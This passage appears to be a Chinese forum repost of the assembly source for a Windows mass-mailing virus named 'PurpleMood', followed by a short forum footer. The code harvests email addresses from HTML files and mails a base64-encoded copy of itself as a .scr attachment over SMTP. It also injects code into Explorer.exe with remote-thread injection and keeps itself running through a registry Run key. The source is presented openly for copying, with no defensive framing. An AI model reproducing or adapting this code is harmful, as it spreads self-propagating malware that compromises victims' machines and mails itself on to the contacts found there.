      shr eax,12h
      mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
      stosb
      mov eax,edx
      and eax,0003f000h
      shr eax,0Ch
      mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
      stosb
      mov eax,edx
      and eax,00000fc0h
      shr eax,06h
      mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
      stosb

      mov eax,edx
      and eax,0000003fh
      mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
      stosb

      cmp ecx,SIZEOF_VIRUS_FILE
      jbe BASE64__02

      mov byte ptr [edi-00000001h],&#39;=&#39;

BASE64__02:
  cmp ecx,SIZEOF_VIRUS_FILE+01h
      jbe BASE64__03
      mov byte ptr [edi-00000002h],&#39;=&#39;
      inc BASE64_lines
      cmp BASE64_lines,00000013h
      jne BASE64encode_loop
      mov ax,0A0Dh
      stosw
      mov BASE64_lines,00000000h

BASE64__03:
  jmp BASE64encode_loop

BASE64__exit:
  mov ax,0A0Dh
      stosw
      ret
      
EncodeBase64 EndP

;**********************************************
;发送邮件函数
;1. 连接SMTP Server
;2. 发送协议信息,发送BASE64编码的附件,发送其余数据
;warning: 发送数据的长度
;**********************************************
SendMail PROC

pushad

      push    NULL
      push    SOCK_STREAM
      push    AF_INET
      mov    eax , 12345678h
_socket      = dword ptr $-4
call    eax  
      mov    VSocket[ebx],eax
      
push    sizeof(sockaddr)  ; Size of connect strucure=16
call    @SMTP1    ; Connect structure
dw     AF_INET        ; Family
db     0,25    ; Port number,avoid htons :)
ServIP  dd     0    ; in_addr of server
db     8 dup(0)   ; Unused
@SMTP1:
push    [offset VSocket+ebx]
mov    eax , 12345678h
_connect      = dword ptr $-4        
call    eax
  
lea    eax,[offset SM_I+ebx]
push    eax
mov    eax,12345678h
_lstrlen      = dword ptr $ - 4
call    eax
  
push    NULL
push    eax
call    SM_I_End
SM_I:
HelloServer  db &#39;HELO cx&#39;,0dh,0ah
         db &#39;MAIL FROM: <&#39;
TempMailTo  db  128 dup (0)   
SM_I_End:
push    [offset VSocket+ebx]
call    _send[ebx]

      push    NULL
push    SM_II_End - SM_II
call    SM_II_End
SM_II:
         db  &#39;>&#39;,0dh,0ah
RcptTo     db &#39;RCPT TO: <[email]test@pact518.hit.edu.cn[/email]>&#39;,0dh,0ah
SM_II_End:
push    [offset VSocket+ebx]
call    _send[ebx]

push    NULL
push    SM_Data_Len
call    SM_Data
MailData    db &#39;DATA&#39;,0dh,0ah
         db &#39;Subject:hi&#39;,0dh,0ah
         db &#39;Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaRy_05151998&#39;,0dh,0ah
         db &#39;--WC_MAIL_PaRt_BoUnDaRy_05151998&#39;,0dh,0ah
    db &#39;Content-Type: application/octet-stream; file=PurpleMood.scr&#39;,0dh,0ah
        db &#39;Content-Transfer-Encoding: base64&#39;,0dh,0ah
         db &#39;Content-Disposition: attachment; filename=PurpleMood.scr&#39;,0dh,0ah,0dh,0ah
SM_Data_Len     =  $ - MailData
SM_Data:
      push    [offset VSocket+ebx]
call    _send[ebx]

      mov    eax,Base64_Encoded_Data[ebx]
      push    eax
      call    _lstrlen[ebx]
push    NULL              ;Send base64 attachment
push    eax               ;SIZEOF_VIRUS_BASE64
push    [offset Base64_Encoded_Data+ebx] ; Buffer
push    [offset VSocket+ebx]
call    _send[ebx]

push    NULL
push    SM_DR_Len
call    SM_DR
MailDataRemain  db &#39;--WC_MAIL_PaRt_BoUnDaRy_05151998--&#39;,0dh,0ah
            db 0dh,0ah,&#39;.&#39;,0dh,0ah,&#39;QUIT&#39;,0dh,0ah
SM_DR_Len     =  $ - MailDataRemain
SM_DR:
push    [offset VSocket+ebx]
call    _send[ebx]      
        
push    [offset VSocket+ebx]
mov    eax , 12345678h
_closecsoket      = dword ptr $-4
call    eax  
      
popad
ret        
      
SendMail ENDP   
   
;分析MailFileName(*.htm*),寻找Mail_Addr.

Parse_HTM PROC FileName  :DWORD
     
      LOCAL  hFile   : DWORD
      LOCAL  hMapping : DWORD
      LOCAL  SafeFSize: DWORD     

pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push FileName
call _CreateFile[ebx]
or    eax,eax
jz PH_Exit
mov    hFile , eax

xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov    hMapping,eax

xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi        ;esi = pMapping

push 0
push hFile
      mov    eax , 12345678h
_GetFileSize   = dword ptr $-4
      call   eax  
sub    eax,16        ;For security
add    eax,esi      
mov    SafeFSize,eax    ;esi must be below SafeFSize      
     
      .while  esi < SafeFSize
        xor   edx,edx      ;Valid = FALSE
        @pushsz    &#39;mailto:&#39;
        pop   edi         
        push  7          ;strlen of &#39;mailto:&#39;
        pop   ecx
        repz  cmpsb   
     .if   zero?        ;找到 mailto:
         lea  edi,[offset TempMailTo+ebx]  
              push  edi
             .while  esi<SafeFSize
                  lodsb
                  .if    al==&#39; &#39;
                        .continue                                    
                  .elseif  al==&#39;>&#39; || al==&#39;"&#39; ||al==&#39;&#39;&#39;&#39;||al==&#39;<&#39;
                         xor al,al
                         stosb
                         .break
                  .elseif  al==&#39;@&#39;   
                         stosb
                         inc  edx                        
                  .else  
                         stosb            
                  .endif
              .endw  
              pop   edi           
              .if   edx==1
                  call SendMail
              .endif   
      .endif
      inc esi
   .endw

PH_Close3:
push esi
call _UnmapViewOfFile[ebx]  
PH_Close2:
push hMapping
call _CloseHandle[ebx]
PH_Close:
push hFile
call _CloseHandle[ebx]  
PH_Exit:
popad
ret    4

Parse_HTM ENDP   

;****************************   
;data used by SendMail
;****************************
WSA_Data    WSADATA  <>  
VSocket     dd      0
_send      dd      0
Base64_Encoded_Data    dd  0
Base64DecodeTable     equ  $
       db  &#39;A&#39;,&#39;B&#39;,&#39;C&#39;,&#39;D&#39;,&#39;E&#39;,&#39;F&#39;,&#39;G&#39;,&#39;H&#39;,&#39;I&#39;,&#39;J&#39;
       db  &#39;K&#39;,&#39;L&#39;,&#39;M&#39;,&#39;N&#39;,&#39;O&#39;,&#39;P&#39;,&#39;Q&#39;,&#39;R&#39;,&#39;S&#39;,&#39;T&#39;
  db  &#39;U&#39;,&#39;V&#39;,&#39;W&#39;,&#39;X&#39;,&#39;Y&#39;,&#39;Z&#39;,&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;
  db  &#39;e&#39;,&#39;f&#39;,&#39;g&#39;,&#39;h&#39;,&#39;i&#39;,&#39;j&#39;,&#39;k&#39;,&#39;l&#39;,&#39;m&#39;,&#39;n&#39;
  db  &#39;o&#39;,&#39;p&#39;,&#39;q&#39;,&#39;r&#39;,&#39;s&#39;,&#39;t&#39;,&#39;u&#39;,&#39;v&#39;,&#39;w&#39;,&#39;x&#39;
  db  &#39;y&#39;,&#39;z&#39;,&#39;0&#39;,&#39;1&#39;,&#39;2&#39;,&#39;3&#39;,&#39;4&#39;,&#39;5&#39;,&#39;6&#39;,&#39;7&#39;
  db  &#39;8&#39;,&#39;9&#39;,&#39;+&#39;,&#39;/&#39;
SizeOfBase64DecodeTable    equ $-Base64DecodeTable
  
;********CreatePE**********************
CreatePE PROC
   
    LOCAL ByteWrite:DWORD
   
    pushad
    lea  eax , [offset szFilePath+ebx]
    push  NULL
    push  FILE_ATTRIBUTE_NORMAL
    push  CREATE_NEW
    push  NULL
    push  FILE_SHARE_READ+FILE_SHARE_WRITE
    push  GENERIC_READ+GENERIC_WRITE
    push  eax
    call  _CreateFile[ebx]         
    or   eax,eax
    jz   CT_Exit
    xchg  eax,esi
   
    lea  edi,ByteWrite
    push  0
    push  edi
    push  200h        ;  文件头<200h & FileAliagment=200h      
    lea  eax,[offset MDosStub+ebx]
    push  eax
    push  esi          ;esi=hFile
    call  _WriteFile[ebx]  ;Write  DosStub,NTHeader,SectionHeader
   
    push  0
    push  edi
    push  VRAW_SIZE
    lea  eax,[offset VStart+ebx]
    push  eax
    push  esi
    call  _WriteFile[ebx]   ;Write code and import tatle
   
    push  esi
    call  _CloseHandle[ebx]
CT_Exit:
    popad
    ret
   
CreatePE ENDP

;*************MonitorThread********************************
;Enum所有活动进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr
;的运行和注册表的Run项.
;**********************************************************
MonitorThread  PROC  MReloc : DWORD   
      
      mov    ebx , MReloc
@pushsz  &#39;PSAPI&#39;
call  _LoadLibraryA[ebx]
      xchg    eax,esi
      
@pushsz  &#39;EnumProcesses&#39;
push  esi
call  _GetProcAddress[ebx]
mov  _EnumProcesses[ebx],eax
   
@pushsz  &#39;EnumProcessModules&#39;
push  esi
call    _GetProcAddress[ebx]
mov  _EnumProcessModules[ebx],eax
   
@pushsz  &#39;GetModuleBaseNameA&#39;
push  esi
call  _GetProcAddress[ebx]
mov  _GetModuleBaseNameA[ebx],eax

lea  esi,[offset procz + ebx]
lea  edi,[offset tmp  + ebx]
push  edi
push  128
push  esi
mov  eax,12345678h
_EnumProcesses  = dword ptr $-4
call  eax     ;enumerate all running processes
dec  eax
jne  MT_Exit
add  esi,4        ;esi->ProcessIDs[128]

p_search:
lodsd    ;get PID
test eax,eax
je MT_Exit
call AnalyseProcess     ;and try to infect it
jmp p_search
MT_Exit:
      ret    4
      
MonitorThread  ENDP


AnalyseProcess Proc      
      pushad
push eax      ;process id
push 0      
push PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_READ or PROCESS_QUERY_INFORMATION
mov eax,12345678h
_OpenProcess   = dword ptr $-4
call eax   ;PID -> handle
or eax,eax
jz AP_Exit
mov hProcess[ebx],eax
  
lea esi,[offset modz + ebx]
lea ecx,[offset tmp  + ebx]
push ecx
push 4
push esi
push hProcess[ebx]
mov eax,12345678h
_EnumProcessModules = dword ptr $-4
call eax   ;get first (main) module
dec eax
jne AP_Exit

lodsd
lea edi,[offset mod_name + ebx]
push MAX_PATH
push edi
push eax
push hProcess[ebx]
mov eax,12345678h
_GetModuleBaseNameA = dword ptr $-4
call eax   ;get its name
test eax,eax
je AP_Exit
      
      @pushsz &#39;Explorer.exe&#39;
      push   edi
      call   _lstrcmpi[ebx]
      jnz    AP_Exit
         
lea esi,[offset rtThreadStart + ebx]
mov edi,rtThreadEnd - rtThreadStart
      push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push 12345678h
hProcess  =    dword ptr $-4
mov eax,12345678h
_VirtualAllocEx = dword ptr $-4
call eax   ;aloc there a memory
test eax,eax
je AP_Exit
xchg eax,ebp

push 0
push edi
push esi
push ebp
push dword ptr [ebx + offset hProcess]
mov eax,12345678h
_WriteProcessMemory = dword ptr $-4
call eax  ;write there our code
dec eax
jne AP_FreeMem

xor edx,edx
push edx
push edx
push edx
push ebp
push edx
push edx
push dword ptr hProcess[ebx]
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4
  call eax  ;run remote thread!
  jmp    AP_Exit      ;important,i forgot first  
AP_FreeMem:
push MEM_RELEASE
push 0
push ebp
push dword ptr hProcess[ebx]
mov eax,12345678h
_VirtualFreeEx = dword ptr $-4
call eax   ;free memory
AP_Exit :      
      popad
      ret
AnalyseProcess EndP         

procz  dd 128 dup (?)
  dd ?
modz  dd ?
mod_name db MAX_PATH dup (?)
tmp  dd ?


rtThreadStart:      
      call    rtStart
rtStart:
      pop    ebx
      sub    ebx , offset rtStart      
      call    rtInit
rtWork:      
      call    MakeSCRAlive      
      push    1000*60
      mov    eax , 12345678h
_Sleep        = dword ptr $ - 4
      call    eax
      jmp    short rtWork
      
rtInit:
      @pushsz  &#39;shlwapi.dll&#39;
      mov    eax , 12345678h
_LoadLibraryA   = dword ptr $ - 4
      call    eax      
      @pushsz  &#39;SHSetValueA&#39;
      push    eax
      mov    eax , 12345678h
_GetProcAddress = dword ptr $ - 4      
      call    eax      
      mov    _SHSetValueA[ebx],eax  
      ret
         
MakeSCRAlive:
      call  @RT1
nGetProcAddress   db  &#39;GetProcAddress&#39;,0
@RT1:  push  FALSE
      push  1
      mov   eax , 12345678h
_OpenMutex    = dword ptr $ - 4
      call  eax
      xchg  esi,eax
      
      .if   esi == NULL
          jmp   RunSCR
      .else
          push  esi
          mov   eax , 12345678h
_ReleaseMutex  = dword  ptr $ - 4
          call  eax
          push  esi
          mov   eax , 12345678h
_CloseHandle  = dword ptr $ - 4
          call  eax
          jmp   RegistSCR
      .endif
            
RunSCR:
      push  SW_HIDE
      call  @RT2
szFilePath    db  50  dup (0)
@RT2:  mov   eax , 12345678h
_WinExec     = dword ptr $ - 4   
      call  eax
      
RegistSCR:
      lea    eax,[offset szFilePath+ebx]
      push    12345678h
SCRPathSize    = dword ptr $-4      
   push    eax
push    REG_SZ
      @pushsz  &#39;PurpleMood&#39;
@pushsz  &#39;Software\Microsoft\Windows\CurrentVersion\Run&#39;
push    HKEY_LOCAL_MACHINE
      mov    eax,12345679h
_SHSetValueA    = dword ptr $-4
      call    eax         ;eax = SHSetValueA addr
      ret
     
rtThreadEnd:

;*************Virus Data******************************
Signature      db  &#39;紫色心情,你永远的期待&#39;,0
HostEntry       dd  0
hKernel32       dd  0
szEXEPath       db  MAX_PATH  dup (0)
szFileName      db  &#39;\PurpleMood.scr&#39;,0
FNameSize       =  $ - szFileName
wfd           WIN32_FIND_DATA  <>

;*****************PE Data*****************************
VImports:
             dd      offset Kernel32_Pointers + @
             dd      -1,-1
             dd      offset Kernel32_Name + @
VIAT:   
             dd      offset Kernel32_Relocated + @
             db      14 dup (0)
Kernel32_Pointers  dd      offset Kernel32_Beep + @ , 0
Kernel32_Relocated dd      offset Kernel32_Beep + @ , 0
Kernel32_Beep    db      ?,?,&#39;MessageBoxA&#39;,0
Kernel32_Name    db      &#39;User32.dll&#39;,0
                  
MDosStub:
  db  4Dh,5Ah,90h,00,03,00, 00, 00, 04, 00, 00,00,0FFh,0FFh,00,00
  db  0B8h,00,00,00, 00, 00, 00, 00,40h, 00, 00, 00, 00, 00,00,00
  db  00, 00, 00,00,00,00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
  db  00, 00, 00, 00,00,00,00,00, 00, 00, 00, 00, 40h, 00, 00, 00
  db  50h,45h,00,00
  
MFileHeader:
  Machine          dw    14Ch
  NumberOfSections    dw    1
  TimeDateStamp      dd    3cbe5cc2h
  PointerToSymbolTable  dd    0
  NumberOfSymbols     dd    0
  SizeOfOptionalHeader  dw    0e0h
  Characteristics     dw    10fh
  
MIMAGE_OPTIONAL_HEADER32:
   Magic                 dw     10bh
   MajorLinkerVersion        db     5
   MinorLinkerVersion        db     12
   SizeOfCode              dd     VRAW_SIZE
   SizeOfInitializedData      dd     0
   SizeOfUninitializedData     dd     0
   AddressOfEntryPoint        dd     1000h
   BaseOfCode              dd     1000h
   BaseOfData              dd     3000h   
   ImageBase              dd     400000h
   SectionAlignment          dd     1000h
   FileAlignment            dd     200h
   MajorOperatingSystemVersion  dw     4
   MinorOperatingSystemVersion  dw     0
   MajorImageVersion         dw     0
   MinorImageVersion         dw     0
   MajorSubsystemVersion      dw     4
   MinorSubsystemVersion      dw     0
   Win32VersionValue         dd     0
   SizeOfImage             dd     3000h;need to change st
   SizeOfHeaders            dd     200h
   CheckSum               dd     0
   Subsystem              dw     2      ;(Windows GUI)
   DllCharacteristics        dw     0
   SizeOfStackReserve        dd     100000h
   SizeOfStackCommit         dd     1000h
   SizeOfHeapReserve         dd     100000h
   SizeOfHeapCommit          dd     1000h
   LoaderFlags             dd     0
   NumberOfRvaAndSizes        dd     10h
   DataDirectory            dd     0,0
              dd     offset VImports+@,VIMPORT_SIZE
              dd     14h dup(0)
              dd     offset VIAT + @,8
              dd     0,0,0,0,0,0

MIMAGE_SECTION_HEADER:
   Name1           db  &#39;.xjs&#39;,0,0,0,0
   VirtualSize       dd  offset VEnd - offset VStart
   VirtualAddress     dd  1000h
   SizeOfRawData      dd  VRAW_SIZE
   PointerToRawData    dd  200h
   PointerToRelocations dd  0
   PointerToLinenumbers dd  0
   NumberOfRelocations  dw  0
   NumberOfLinenumbers  dw  0
   Characteristic     dd  0E0000020h
      
VEnd:
CODE ends
end main

-----------------------------------------------------------------------------

useful.inc

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\mpr.inc
includelib \masm32\lib\mpr.lib

include \masm32\include\wsock32.inc
includelib \masm32\lib\WS2_32.LIB

MIN_KERNEL_SEARCH_BASE   EQU  70000000h
@                 EQU  1000h - offset VStart
VIMPORT_SIZE          EQU  offset MDosStub - offset VImports
VRAW_SIZE            EQU  1024*7  ;=7k 了 :(
FILE_HTM            EQU  0
FILE_EXE            EQU  1
FILE_ALL            EQU  2

SIZEOF_VIRUS_FILE  = 1024*7 + 512 ;FileHeader=512=200h

@pushsz MACRO  str
LOCAL next
call  next
db   str,0
next:
ENDM
人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

发新话题